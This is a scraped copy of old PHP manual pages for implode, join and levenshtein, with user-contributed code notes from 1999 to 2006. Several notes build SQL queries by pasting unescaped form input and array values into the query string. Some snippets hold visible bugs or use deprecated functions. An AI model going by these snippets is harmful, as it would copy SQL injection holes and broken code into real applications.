   return $rs;
}
15-Jul-2001 02:18
If your sending data from one form to another, the data in the textareas and text inputs may need to have htmlspecialchars("form data", ENT_QUOTES) applied, assuming you will ever have quotes or less-than signs or any of those special characters.  Using htmlspecialchars will make the text show up properly in the second form.  The changes are automatically undone whenever the form data is submitted. It does seem a little strange, but it works and my headache is now starting to go away.

AZ
ryan at ryano dot net
29-Jun-2001 06:06
Actually, if you're using >= 4.0.5, this should theoretically be quicker (less overhead anyway):

$text = str_replace(array("&gt;", "&lt;", "&quot;", "&amp;"), array(">", "<", "\"", "&"), $text);
david at gislaved dot net
14-Sep-2000 10:49
To replace the swedish characters...
               $s=ereg_replace(197, "&Aring;",$s);
       $s=ereg_replace(196, "&Auml;",$s);
       $s=ereg_replace(214, "&Ouml;",$s);
       $s=ereg_replace(229, "&aring;",$s);
       $s=ereg_replace(228, "&auml;",$s);
       $s=ereg_replace(246, "&ouml;",$s);
Marcel
14-Sep-2000 09:31
For HTML to text conversion see example 3 on http://www.php.net/manual/en/function.preg-replace.php
thorax at inforocket dot com
09-Dec-1999 09:26
to convert a document back from this,
do string replacements in this order:

>  >
<  <
" "
&  &

Doing the last phase first will
reveal erroneous results.. For example:

'<'  => specialchars() => '&lt;' '&lt;' => convert ampersands => '<' => convert everything else => '<'
add a note add a note

后退 | 起点 | 前进
htmlspecialchars_decode | 上一级 | implode


implode

(PHP 3, PHP 4, PHP 5)

implode -- Join array elements with a string

Description

string implode ( string glue, array pieces )

Returns a string containing a string representation of all the array elements in the same order, with the glue string between each element.

例子 1. implode() example

<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);

echo $comma_separated; // lastname,email,phone

?>

注: implode() can, for historical reasons, accept its parameters in either order. For consistency with explode(), however, it may be less confusing to use the documented order of arguments.

注: As of PHP 4.3.0, the glue parameter of implode() is optional and defaults to the empty string(''). This is not the preferred usage of implode(). We recommend to always use two parameters for compatibility with older versions.

注: 本函数可安全用于二进制对象。

See also explode(), and split().

add a note add a note User Contributed Notes
adnan at barakatdesigns dot net
24-May-2006 12:17
An easier way of achieving the same result as implode_with_keys() - and quicker execution time:

<?
/* NOTE: $glue is not used if $is_query is true */
function implode_with_keys($array, $glue, $is_query = false) {
   if($is_query == true) {
       return str_replace(array('[', ']', '&'), array('%5B', '%5D', '&amp;'), http_build_query($array));

   } else {
       return urldecode(str_replace("&", $glue, http_build_query($array)));

   }

}

echo implode_with_keys(array('a[1]' => 'some text', 'a[2]' => 'even more text'), false, true);
/* Will output 'a%5B1%5D=some+text&amp;a%5B2%5D=even+more+text' */
/* This won't break html validation */

echo implode_with_keys(array('a[1]' => 'foo bar', 'b' => 'more text'), '|');
/* Will output 'a[1]=foo bar|b=more text' */
?>
dabduster at gmail dot com
04-Jan-2006 12:39
an implementation of adrian at foeder dot de implode_with_keys function for input and update sql statement.

function implode_param($glue, $array, $valwrap='', $mode = 0)
   {
   /*
   if mode = 0 output is key and values
   if mode = 1 output only keys
   if mode = 2 output only values
   */

   switch ($mode){
       case 1:
               foreach($array AS $key => $value) {
                   $ret[] = $valwrap.$key.$valwrap;
               }
       break;

       case 2:
               foreach($array AS $key => $value) {
                   $ret[] = $valwrap.$value.$valwrap;
               }
       break;

       default:
       case 0:
               foreach($array AS $key => $value) {
                   $ret[] = $key."=".$valwrap.$value.$valwrap;
               }
       break;

   }

   return implode($glue, $ret);
}
Hotmail resident Tree2054
09-Dec-2005 03:57
Combining into one function:

function implode_with_options($assoc_array, $prefix = '', $k_v_glue = '', $vwrap = '', $seperator = '')
{
   foreach ($assoc_array as $k => $v)
   {
       $tmp[] = $k . $k_v_glue . $vwrap . $v . $vwrap;
   }
   return $prefix . implode($seperator, $tmp);
}

$items = array('Apples', 'number' => 3, 'Vehicle' => '');

// For a query string:
echo implode_with_options($items, '?', '=', '', '&');

/**
 * Produces
 * ?0=Apples&number=3&Vehicle=
 */

// For a SQL query
echo implode_with_options($items, '', '=', '"', ', ');

/**
 * Produces
 * 0="Apples", number="3", Vehicle=""
 */
adrian at foeder dot de
31-Oct-2005 08:53
...and a mysql-update-statement-compatible implementation of implode_with_keys:

<?php
function implode_with_keys($glue, $array, $valwrap='')
   {
       foreach($array AS $key => $value) {
           $ret[] = $key."=".$valwrap.$value.$valwrap;
       }
       return implode($glue, $ret);
   }
?>

so implode_with_keys(", ", $array, "'") will output:

key1='value1', key2='value2'

and so on. Useful for UPDATE table SET key1='value1', key2='value2'
Peter Hopfgartner
27-Sep-2005 10:26
Correctly initializing all variables, this would become:

function implode_with_key($assoc, $inglue = '=', $outglue = '&'){
   $return = '';
   foreach ($assoc as $tk => $tv) {
       $return = ($return != '' ? $return . $outglue : '') .
           $tk . $inglue . $tv;
   }
   return $return;
}

Note, the return value is also well defined if $assoc is empty.

Regards
php at josh dot jeppsons dot org
10-Sep-2005 12:22
Another variation on implode_with_key:

<?php
  function implode_with_key($assoc, $inglue = '=', $outglue = '&')
   foreach ($assoc as $tk => $tv) {
     $return = (isset($return) ? $return . $outglue : '') . $tk . $inglue . $tv;
   }
   return $return;
  }
?>
pr10n at spymac dot com
30-Aug-2005 12:46
A little tweak on info at urbits dot com's suggestion just incase someone changes their value of $outglue:

<?php
function implode_with_key($assoc, $inglue = '=', $outglue = '&')
{
   $return = null;
   foreach ($assoc as $tk => $tv) $return .= $outglue.$tk.$inglue.$tv;
   return substr($return,strlen($outglue));
}
?>
info at urbits dot com
20-Aug-2005 09:06
I liked memandeemail's (27-Apr-2005) neat code for imploding an associative array. I have done a mod so that, by default, it returns a url query string.

<?php
function implode_with_key($assoc, $inglue = '=', $outglue = '&')
{
   $return = null;
   foreach ($assoc as $tk => $tv) $return .= $outglue.$tk.$inglue.$tv;
   return substr($return,1);
}
?>

Example:
<?php
$assoc_array = array("a" => "foo", "b" => "bar", "c" => "foobar");
echo (implode_with_key($assoc_array);
?>

ouput: a=foo&b=bar&c=foobar

usage: After altering the $HTTP_GET_VARS values, I pass $HTTP_GET_VARS to the function to easily build variation urls for links and header redirects.

note: This function doesn't encode the url string or check for empty variables.
cristianDOTzuddas [AT] gmailDOTcom
07-Jul-2005 03:22
...and another variation of "implode_assoc" function. Just added the boolean parameter $urlencoded; if TRUE returns the array value in URL encod format. If the parameter is not given it behaves like the original function.

<?
function implode_assoc($inner_glue, $outer_glue, $array, $skip_empty=false, $urlencoded=false) {
   $output = array();
   foreach($array as $key=>$item) {
       if (!$skip_empty || isset($item)) {
           if ($urlencoded)
               $output[] = $key.$inner_glue.urlencode($item);
           else
               $output[] = $key.$inner_glue.$item;
       }
   }

   return implode($outer_glue, $output);
}
?>
sam dot bledsoe at nosp at nn dot gmail dot com
01-Jun-2005 11:57
The function below recursively outputs an array in a format condusive to parsing it in php or another scripting language.  It does NOT output the name of the original array, for that see note 1.  It handles all the cases I could think of elegantly.  Comments and criticisms are welcome.

For an array constructed with:

$arr = array("foo" => array('bar' => array(0 => "value 0", 1 => "value 1")), "foo two" => array(0 => array("bar" => "value2")));

The line below:

echo implode_parseable("=", ";<br>$", $arr, "$", ";");

Will produce:

$foo["bar"][0]="value 0";
$foo["bar"][1]="value 1";
$foo_two[0]["bar"]="value2";

NOTES:
1)  If the leading identifier on a line is a number, the output will most likely be unusable since variable names cannot begin with numbers.  You can get around this by doing something like:
$arr = array('arr' => $arr);
This will output the array as it actually is (because the key is the same name as the array) instead of just its fields.
2)  Since spaces are not allowed in variable names, they are replaced in lines' leading identifiers by the $space_replace_char parameter, '_' by default.

Hopefully someone will find this useful, if so drop me a line.  Credit and thanks go out to the people who posted their code on this manual page, especially davidpk212 at gmail dot com and phpWalter at torres dot ws.

function implode_parseable($inner_glue = "=", $outer_glue = "\n", $array = null, $prefix = "", $suffix = "", $space_replace_char = '_', $skip_empty = false, $current_loc = "", $recursion_level = 0){
  return $prefix . implode_parseable_r($inner_glue, $outer_glue, $array, $space_replace_char, $skip_empty, $current_loc, $recursion_level) . $suffix;
}

function implode_parseable_r($inner_glue = "=", $outer_glue = "\n", $array = null, $space_replace_char = '_', $skip_empty = false, $current_loc = "", $recursion_level = 0)
{
  if(is_array($array)){
   $output = array();
   foreach( $array as $key => $item ){
     if ( is_array ($item) ){

       //don't quote numeric indicies
       if(is_string($key))
         $quoted_key = "\"" . $key . "\"";
       else
         $quoted_key = $key;

       // This is value is an array, go and do it again!
       $level = $recursion_level + 1;
       if($recursion_level == 0){
         // can't have spaces in a variable name!
         $current_loc .= str_replace(' ', $space_replace_char, $key);
         $output[] = implode_parseable_r ($inner_glue, $outer_glue, $item,  '_', $skip_empty, $current_loc, $level);
         //start the position tracker over after every run from level 0
         $current_loc = '';
       }else{
         $current_loc .= "[" . $quoted_key . "]";
         $output[] = implode_parseable_r ($inner_glue, $outer_glue, $item,  '_', $skip_empty, $current_loc, $level);
         //remove the last index from the position tracker string after using it
         $current_loc = ereg_replace('\[[^]]*\]$', '', $current_loc);
       }

     }
     else{
       //  don't quote or []ify the base variable name,
       //  but do for all else as appropriate
       if($recursion_level != 0){
           if(is_string($key))
             $key = "\"" . $key . "\"";
           $key = "[" . $key . "]";
       }
//        echo "<br>";
//        var_dump($item);
//        echo "<br>";

       $skip_this = false;
       if($skip_empty && (!isset($item) || $item == NULL || $item == '')) $skip_this = true;

       //quote the item (which is the value of the array index) if it is a string
       if(is_string($item)) $item = "\"" . $item . "\"";

       if(!$skip_this) $output[] = $current_loc . $key . $inner_glue . $item;
     }
   }
   return implode($outer_glue, $output);
  }else{
   return $array;
  }
}
Klba
31-May-2005 08:42
in case of value $item==0 but is set is necessary use function isset()

function implode_assoc($inner_glue,$outer_glue,$array,$skip_empty=false){
 $output=array();
 foreach($array as $key=>$item)
  if(!$skip_empty || isset($item)){$output[]=$key.$inner_glue.$item;}
 return implode($outer_glue,$output);
}
killroy at g m a i l dot c o m
16-May-2005 04:29
Here is another variation on Chris' function. I added a $skip_empty parameter. if it's set to TRUE the result string will not contain keys whose values are empty. Great for building query_strings. If the parameter is not given it behaves like the original function:

$a='1';
$b='';
$c='3';

INPUT: implode_assoc('=','&',array('a'=>$a,'b'=>$b,'c'=>$c),true);
OUTPUT: a=1&c=3

INPUT: implode_assoc('=','&',array('a'=>$a,'b'=>$b,'c'=>$c));
OUTPUT: a=1&b=&c=3

function implode_assoc($inner_glue,$outer_glue,$array,$skip_empty=false){
 $output=array();
 foreach($array as $key=>$item)
  if(!$skip_empty || $item){$output[]=$key.$inner_glue.$item;}
 return implode($outer_glue,$output);
}
tshort at cisco dot com
29-Apr-2005 10:20
Correction: I meant "passed by value", not "pass by reference". My mistake. Passing by reference would speed up any of these functions by avoiding the copy necessary for "by value.

Other solutions have problems with non-arrays as well. But it demonstrates that there are many ways to solve this problem. Adding checks for non-arrays and short arrays makes the solution less elegant, but safer. Other solutions should have included similar protections.

function english_list($array, $oxfordComma=0)
{
  if (!is_array($array)) return $array;
  if (count($array) <= 1) return join(", ", $array);
  $last = array_pop($array);
  return join(", ", $array) . ($oxfordComma ? "," : "") . " and " . $last;
}
Andy Morris
29-Apr-2005 08:27
It's always dangerous to give sweeping statements like "this will always work!". Your solution is much more elegant than mine, but perhaps it's a little too elegant for its own good! Try giving it an array with zero or one elements in it for example. You could say that folks shouldn't call it in that case, but you know folks... they like pushing the boundaries. :-)

Perhaps you meant to say that the array can be altered inside the function because it is passed "by value" rather than "by reference", or is that just a mixture of terminology from my C++ upbringing? Passing by reference would imply that you could alter the array inside the function and have that alter its value outside. Passing by value implies that any changes inside the function affect the local function copy only. In PHP, the latter is clearly the case, unless a variable is explicitly declared as global.

OK, that's my 2c.
tshort at cisco dot com
29-Apr-2005 04:54
/*
  english_list()
This one works with anything, since the array is passed by reference, modifying it in the function via pop has no effect on the array outside the function. But it can't be done on one line, because the array_pop() must occur before the join().
*/

function english_list($array, $oxfordComma=0)
{
  $last = array_pop($array);
  return join(", ", $array) . ($oxfordComma ? "," : "") . " and " . $last;
}
Andy Morris
29-Apr-2005 01:19
Similar to a previous note, but this works for any length array, plus also works for arrays with key strings instead of integer keys! I know it's not strictly an implode() example, but it concerns what you might be considering using implode() to help you to do achieve...

<?php
// Return array as a comma separated list; final two elements separated
// by 'and' with an optional "Oxford" comma preceding the 'and'.
function english_list($array, $oxfordComma=0)
{
  $optionalComma = ( $oxfordComma ) ? "," : "";
  $str = "";
  $size = count( $array );
  $i = 0;
  foreach ( $array as $item ) {
   $str .= $item;
   $i++;
   if ( $i < $size - 1) $str .= ", ";
   elseif ( $i == $size - 1) $str .= $optionalComma." and ";
  }
  return $str;
}

// test the comma separated list function
echo english_list( array(), 1 )."<br>";
echo english_list( array("foo"), 1 )."<br>";
echo english_list( array("foo", "bar"), 0 )."<br>";
echo english_list( array("a" => "foo", "b" => "bar", "c" => "foobar"), 1 )."<br>";
echo english_list( array("foo", "bar", "foobar", "barfoo"), 0 )."<br>";
?>
memandeemail at gmail dot com
27-Apr-2005 09:06
/**
     * Like implode but with keys
     *
     * @param string[optional] $glue
     * @param array $pieces
     * @param string[optional] $hifen
     * @return string
     */
   function implode_with_key($glue = null, $pieces, $hifen = ',') {
       $return = null;
       foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
       return substr($return,1);
   }
davidpk212 at gmail dot com
14-Apr-2005 11:36
I made this function to create an english-readable list from an array.

<?php
function english_list($array, $oxfordcomma=1) {
  $count = count($array)-1;
  $last = $array[$count];
  unset($array[$count]);
  $str = join(", ", $array);
  if ($oxfordcomma) {
   $str .= ",";
  }
  $str .= " and $last";

  return $str;
}
?>

The optional parameter "oxfordcomma" indicates whether or not to use the Oxford comma (a comma before the "and").

Example:

<?php
print english_list(array("foo", "bar", "foobar", "barfoo"));
?>
Would produce:

foo, bar, foobar, and barfoo
02-Apr-2005 10:07
Here is another varriation on the below code. This is useful if you are trying to store data as a string to be returned to an array later.  It allows unlimited nested arrays to be both stored and extracted, but does not print out as pretty.

function implode_assoc_r2($inner_glue = "=", $outer_glue = "\n", $recusion_level = 0, $array = null)
{
   $output = array();

   foreach( $array as $key => $item )
       if ( is_array ($item) )
       {
           // This is value is an array, go and do it again!
           $level = $recusion_level + 1;
           $output[] = $key . $inner_glue . $recusion_level . $inner_glue . implode_assoc_r ($inner_glue, $outer_glue, $level, $item, $keepOuterKey);
       }
       else
           $output[] = $key . $inner_glue . $recusion_level . $inner_glue . $item;

   return implode($outer_glue . $recusion_level . $outer_glue, $output);
}

function explode_assoc_r2($inner_glue = "=", $outer_glue = "\n", $recusion_level = 0, $string = null)
{
       $output=array();
       $array=explode($outer_glue.$recusion_level.$outer_glue, $string);

       foreach ($array as $value)
       {
               $row=explode($inner_glue.$recusion_level.$inner_glue,$value);
               $output[$row[0]]=$row[1];
               $level = $recusion_level + 1;
               if(strpos($output[$row[0]],$inner_glue.$level.$inner_glue))
                       $output[$row[0]] = explode_with_keys_a($inner_glue,$outer_glue,$level,$output[$row[0]]);
       }

       return $output;
}
php.net {at} nr78 {dot} net
30-Mar-2005 10:50
Also quite handy in INSERT statements:

<?php

   // array containing data
   $array = array(
     "name" => "John",
     "surname" => "Doe",
     "email" => "j.doe@intelligence.gov"
   );

   // build query...
   $sql  = "INSERT INTO table";

   // implode keys of $array...
   $sql .= " (`".implode("`, `", array_keys($array))."`)";

   // implode values of $array...
   $sql .= " VALUES ('".implode("', '", $array)."') ";

   // execute query...
   $result = mysql_query($sql) or die(mysql_error());

?>
stefan
04-Mar-2005 01:47
Even handier if you use the following:

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(", ", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($id_nums)";

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (1,6,12,18,24)"
?>
Geoff Eby
04-Mar-2005 12:29
A handy use of implode in a MySQL query

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(" OR user_id=", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id=$id_nums";

// $sqlquery becomes "Select name,email,phone from usertable where user_id=1 OR user_id=6 OR user_id=12 OR user_id=18 OR user_id=24"
?>
phpWalter at torres dot ws
15-Sep-2004 02:45
Chris Ross (17-Aug-2004 11:18) gave us a great function 'implode_assoc'.

But it didn't handle multi-level array.

I know, a few others here added this "feature", but...

I've modified Chirs' function to be recursive.

Hope it helps someone.

/**
  * Method to recursivly implode a multi-dimensional array
  * Orginal: Chris Ross - 17-Aug-2004
  * Modified: Walter Torres - 09-14-2004
  **/
function implode_assoc_r($inner_glue = "=", $outer_glue = "\n", $array = null, $keepOuterKey = false)
{
   $output = array();

   foreach( $array as $key => $item )
       if ( is_array ($item) )
       {
           if ( $keepOuterKey )
               $output[] = $key;

           // This is value is an array, go and do it again!
           $output[] = implode_assoc_r ($inner_glue, $outer_glue, $item, $keepOuterKey);
       }
       else
           $output[] = $key . $inner_glue . $item;

   return implode($outer_glue, $output);
}
Chris Ross
18-Aug-2004 02:18
I took static's implode_with_keys, and converted into something I considered a little more programatically useful.  I would argue that this sort of functionality should maybe be added to PHP.

<?php
/* This isn't really DB function, but it's general...  This will */
/* act like the PHP implode() function, but for assoc. arrays... */
function implode_assoc($inner_glue, $outer_glue, $array) {
       $output = array();
       foreach( $array as $key => $item )
               $output[] = $key . $inner_glue . $item;

       return implode($outer_glue, $output);
}
?>

  It's the same as static's, really, but allows you to join the keys to the values with any arbitrary string, rather than hard-coding a '='.
john
27-Apr-2004 05:15
hi,
to prevent implode from putting the zero at the end, I use ksort().

example:

$val[1]="one";
$val[2]="two";
$val[0]="zero";
ksort($val);
echo implode(":",$val);
//will return "zero:one:two"
chris at hitcatcher dot com
28-Oct-2003 05:50
I found it neccesary to create a function that joins the contents of a single dimension from a 2-d array. Here's the code in case anyone else should need to do the same:

<?php
function join_2d($glue, $pieces, $dimension = 0){
   //joins the values of a single dimension in a 2-d array
   $rtn = array();
   foreach($piece as $key => $value){
       if(isset($value[$dimension])){
           $rtn[] = $value[$dimension];
       }
   }
   return join($glue, $rtn);
}
?>

The dimension argument can be a positive integer or a named index. Here is an example:

<?php
$testarray = array(array(1 => 'a', 'three' => 1),
                         array(1 => 'b', 'three' => 2),
                         array(1 => 'c', 'three' => 3),
                         array(1 => 'd', 'three' => 4),
                         array(1 => 'e', 'three' => 5));

print "<pre>"; print_r($testarray); print "</pre>";
print join_2d(", ", $testarray, 1) . "<br>";
print join_2d(", ", $testarray, 'three') . "<br>";
?>
dan at danposluns dot com
24-Aug-2003 02:04
*** MULTI-DIMENSIONAL ARRAY IMPLODE ***

First of all, it should be noted that the function in the previous note is not technically correct, as it glues the outside of the first piece. This is the problem faced by any function that wants to construct a set out of an array without the overhead of handling the boundary indexes. It also doesn't preserve the dimensional architecture.

Use this function when you want to call implode() on a multi-dimensional array and want the resulting string to preserve the architecture of the different dimensions. For example:

array ( 5, array (2, 4, 6), array (3, 6, 9, array (12)))

would be reduced to:

[ 5, [ 2, 4, 6 ], [ 3, 6, 9, [ 12 ] ] ]

Note that this does not preserve key values. If you need those, you are probably better off using serialize() and then replacing the tokens with your own symbols using the string functions.

Anyway, here is the code:

function mdImpode($x, $y)
{
   $a = (is_array($x)) ? '[ ' . array_reduce($x, 'mdImplode') . ' ]' : $x;
   $b = (is_array($y)) ? '[ ' . array_reduce($y, 'mdImplode') . ' ]' : $y;
   return $a . ', ' . $b;
}

Then to call it, use:

$result = '[ ' . array_reduce($pieces, 'mdImplode') . ' ]';

Note that you have to make manual changes if you want different glue or set symbols. There may be a more elegant solution, but this should be a good compromise between efficiency and simplicity (the manual says that array_reduce is iterative, so this should be pretty speedy).
gregrahkin
20-Jun-2003 01:10
This function will implode a multi-dimension array

function implode_r ($glue, $pieces){
 $out = "";
 foreach ($pieces as $piece)
  if (is_array ($piece)) $out .= implode_r ($glue, $piece); // recurse
  else                  $out .= $glue.$piece;

 return $out;
 }
james at globalmegacorp dot org
31-May-2003 10:13
As a followup to the implode_with_keys function posted by 'static', here's a corresponding explode_with_keys function I wrote:

function explode_with_keys($seperator, $string)
{
       $output=array();
       $array=explode($seperator, $string);
       foreach ($array as $value) {
               $row=explode("=",$value);
               $output[$row[0]]=$row[1];
       }
       return $output;
}
ulderico at maber dot com dot br
08-Oct-2002 01:39
'Implode' does not implodes recursively... It might quite useful implode recursively when you get a many Arrays values with keys that replaces themselves as:

http://server/file.php?arg[1]=123&arg[2]=312&arg[3]=543&arg[2]=abc

If you build this URL progressively it would a great a idea that the newest value indeed took the place of any older ones, thus:

http://server/file.php?arg[1]=123&arg[3]=543&arg[2]=abc

would be a better option;

If one uses $_SERVER['REQUEST_URI'], this sanitation would not happen, the URL string would be greater and greater everytime.

With implode_r (see below) it becomes easier to build a "sanitised" URL, the one that less likely will overflow the browser.

$URL = $_SERVER['PHP_SELF'];
$tmp = implode_r("&", $_REQUEST); /* So as to allow to get ANY VALUE (G/P) from the Browser... */
$URL .= "?".$tmp;

/* implode_r */
function implode_r($glue, $array, $array_name = NULL){
while(list($key,$value) = @each($array))
if(is_array($value))
                       $return[] = implode_r($glue, $value, (string) $key);
               else
                       if($array_name != NULL)
                               $return[] = $array_name."[".(string) $key."]=".$value;
                       else
                               $return[] = $key."=".$value;

       return(implode($glue, $return));
}
sorry I couldn't format the code.
Cedric at isoca dot com
12-Jul-2002 01:39
Implode with an unset array will made a warning and fail, but is ok with an empty array.
So if you don't trust the content of the array, allways initialize it before :
  $param = array();
  [...]
  echo implode('&', $param);
static
14-May-2002 03:43
The one thing missing with this function is a way to add the keys. So I wrote this little function:

function implode_with_keys($glue, $array) {
       $output = array();
       foreach( $array as $key => $item )
               $output[] = $key . "=" . $item;

       return implode($glue, $output);
}
php at woodenpickle dot com
15-Mar-2002 02:55
Hey, I found a good use for implode() today. It came from a need to have a <select name=state multiple> box on the page that a person could select multiple states from and send those to a >SELECT * FROM customers WHERE state='$state'; query. But they need to be able to send just one state also. Well, I changes the html select box to say <select name=state[] multiple>. This turns $state into an array as you may know. I then, later on in the script, did this:

$count = count( $state );
if( $count > 1 ) {
     $states = implode( "'.'", $state );
     $result = $database->query( "SELECT * FROM currentOrders WHERE date>=$from AND date <=$to AND state IN ('$states')" );
}

//This takes care of multiple states, but if the user sent only one state, I catch it here:

foreach( $state as $value );
if( $value )
     $result = $database->query( "SELECT * FROM currentOrders WHERE date>=$from AND date<=$to AND state='$value'" );
else //This one will catch the ALL states option if they choose that.
     $result = $database->query( "SELECT * FROM currentOrders WHERE date>=$from AND date<=$to" );

Anyway, I thought I'd post this up here in case it might help someone. Or maybe someone could figure out a better way and enlighten us all.. Have fun.. Bob
add a note add a note

后退 | 起点 | 前进
htmlspecialchars | 上一级 | join


join

(PHP 3, PHP 4, PHP 5)

join -- 别名 implode()

说明

本函数是该函数的别名： implode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
implode | 上一级 | levenshtein


levenshtein

(PHP 3 >= 3.0.17, PHP 4 >= 4.0.1, PHP 5)

levenshtein -- Calculate Levenshtein distance between two strings

Description

int levenshtein ( string str1, string str2 [, int cost_ins [, int cost_rep, int cost_del]] )

This function returns the Levenshtein-Distance between the two argument strings or -1, if one of the argument strings is longer than the limit of 255 characters.

The Levenshtein distance is defined as the minimal number of characters you have to replace, insert or delete to transform str1 into str2. The complexity of the algorithm is O(m*n), where n and m are the length of str1 and str2 (rather good when compared to similar_text(), which is O(max(n,m)**3), but still expensive).

In its simplest form the function will take only the two strings as parameter and will calculate just the number of insert, replace and delete operations needed to transform str1 into str2.

A second variant will take three additional parameters that define the cost of insert, replace and delete operations. This is more general and adaptive than variant one, but not as efficient.

例子 1. levenshtein() example

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // check for an exact match
    if ($lev == 0) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>

上例将输出：

Input word: carrrot
Did you mean: carrot?

See also soundex(),
similar_text(), and
metaphone().

add a note add a note User Contributed Notes
dinesh AT dinsoft DOT net
18-Mar-2006 07:18
Here is a string resynch function:

<?php
// Trouve les operations a effectuer pour modifier $b en $a en exploitant leurs similitudes (Finds the operations required to change $b to $a)
// Identique a la fonction Resynch Compare de Hex Workshop
//
// Parametres:
//      $a Premiere chaine (cible, target)
//      $b Seconde chaine (source)
//      $l Nombre d'octets devant correspondre pour etre consides comme un bloc similaire (number of matching bytes required)
//      $s Distance maximale dans laquelle les blocs similaires sont cherches (search window)
//
// Retourne:
//      Array
//              Array
//                      [0] Operation: + Add , - Del , / Replace, = Match
//                      [1] Source offset
//                      [2] Source count
//                      [3] Target offset
//                      [4] Target count
//
function str_resynch($a,$b,$l=32,$s=2048) {
       $r=array();
       for($i=0,$c=strlen($a),$cc=strlen($b),$ii=0,$z=$s-1,$z2=($z<<1)+1; $i<$c; $i++) {
               $d=$i-$z;
               $d=($d<$ii)?substr($b,$ii,$z2-$ii+$d):substr($b,$d,$z2);

               $p=strpos($d,$a{$i});
               $n=0;
               while ($p!==FALSE) {
                       $m=1;
                       $bi=$i;
                       $bp=$p;
                       $p+=$ii;
                       while ((++$i<$c) && (++$p<$cc)) {
                               if ($a{$i}!=$b{$p}) break;
                               $m++;
                       }
                       if ($m<$l) {
                               $i=$bi;
                               $n=$bp+1;
                               $p=@strpos($d,$a{$i},$n);
                       }
                       else {
                               $i--;
                               $r[]=array($bi,$bp+$ii,$m); // offset a, offset b, Count
                               $ii=$p;
                               break;
                       }
               }
       }

       if (!count($r)) return ($cc)?array('/',0,$c,0,$cc):array(array('+',0,$c,0,0));

       $o=array();
       $bi=0;
       $bp=0;
       for($i=0,$m=count($r);$i<$m;$i++) {
               if ($r[$i][0]!=$bi) {
                       if ($r[$i][1]!=$bp) {
                               // Replace
                               $o[]=array('/',$bi,$r[$i][0]-$bi,$bp,$r[$i][1]-$bp);
                               $bi=$r[$i][0];
                               $bp=$r[$i][1];
                       }
                       else {
                               // Insertion
                               $o[]=array('+',$bi,$r[$i][0]-$bi,$bp,0);
                               $bi=$r[$i][0];
                       }
               }
               elseif ($r[$i][1]!=$bp) {
                       // Delete
                       $o[]=array('-',$bi,0,$bp,$r[$i][1]-$bp);
                       $bp=$r[$i][1];
               }

               // Match
               $o[]=array('=',$r[$i][0],$r[$i][2],$r[$i][1],$r[$i][2]);
               $bi+=$r[$i][2];
               $bp+=$r[$i][2];
       }

       if ($c!=$bi) {
               if ($cc!=$bp) $o[]=array('/',$bi,$c-$bi,$bp,$cc-$bp);
               else $o[]=array('+',$bi,$c-$bi,$bp,0);
       }
       elseif ($cc!=$bp) $o[]=array('-',$bi,0,$bp,$cc-$bp);

       return $o;
}
?>
june05 at tilo-hauke dot de
06-Jun-2005 03:44
//levenshtein for arrays
function array_levenshtein($array1,$array2)
         {  $aliases= array_flip(array_values(array_unique(array_merge($array1,$array2))));
             if(count($aliases)>255) return -1;
             $stringA=''; $stringB='';
             foreach($array1 as $entry) $stringA.=chr($aliases[$entry]);
             foreach($array2 as $entry) $stringB.=chr($aliases[$entry]);
             return levenshtein($stringA,$stringB);
         }

// e.g. use array_levenshtein to detect special expressions in unser-inputs

echo array_levenshtein(split(" ", "my name is xxx"), split(" ","my name is levenshtein"));

//output: 1
justin at visunet dot ie
05-Apr-2005 10:46
<?php

   /*********************************************************************
   * The below func, btlfsa, (better than levenstien for spelling apps)
   * produces better results when comparing words like haert against
   * haart and heart.
   *
   * For example here is the output of levenshtein compared to btlfsa
   * when comparing 'haert' to 'herat, haart, heart, harte'
   *
   * btlfsa('haert','herat'); output is.. 3
   * btlfsa('haert','haart'); output is.. 3
   * btlfsa('haert','harte'); output is.. 3
   * btlfsa('haert','heart'); output is.. 2
   *
   * levenshtein('haert','herat'); output is.. 2
   * levenshtein('haert','haart'); output is.. 1
   * levenshtein('haert','harte'); output is.. 2
   * levenshtein('haert','heart'); output is.. 2
   *
   * In other words, if you used levenshtein, 'haart' would be the
   * closest match to 'haert'. Where as, btlfsa sees that it should be
   * 'heart'
   */

   function btlfsa($word1,$word2)
   {
       $score = 0;

       // For each char that is different add 2 to the score
       // as this is a BIG difference

       $remainder  = preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word1)."]/i",'',$word2);
       $remainder .= preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word2)."]/i",'',$word1);
       $score      = strlen($remainder)*2;

       // Take the difference in string length and add it to the score
       $w1_len  = strlen($word1);
       $w2_len  = strlen($word2);
       $score  += $w1_len > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len;

       // Calculate how many letters are in different locations
       // And add it to the score i.e.
       //
       // h e a r t
       // 1 2 3 4 5
       //
       // h a e r t    a e        = 2
       // 1 2 3 4 5  1 2 3 4 5
       //

       $w1 = $w1_len > $w2_len ? $word1 : $word2;
       $w2 = $w1_len > $w2_len ? $word2 : $word1;

       for($i=0; $i < strlen($w1); $i++)
       {
           if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] )
           {
               $score++;
           }
       }

       return $score;
   }

   // *************************************************************
   // Here is a full code example showing the difference

   $misspelled = 'haert';

   // Imagine that these are sample suggestions thrown back by soundex or metaphone..
   $suggestions = array('herat', 'haart', 'heart', 'harte');

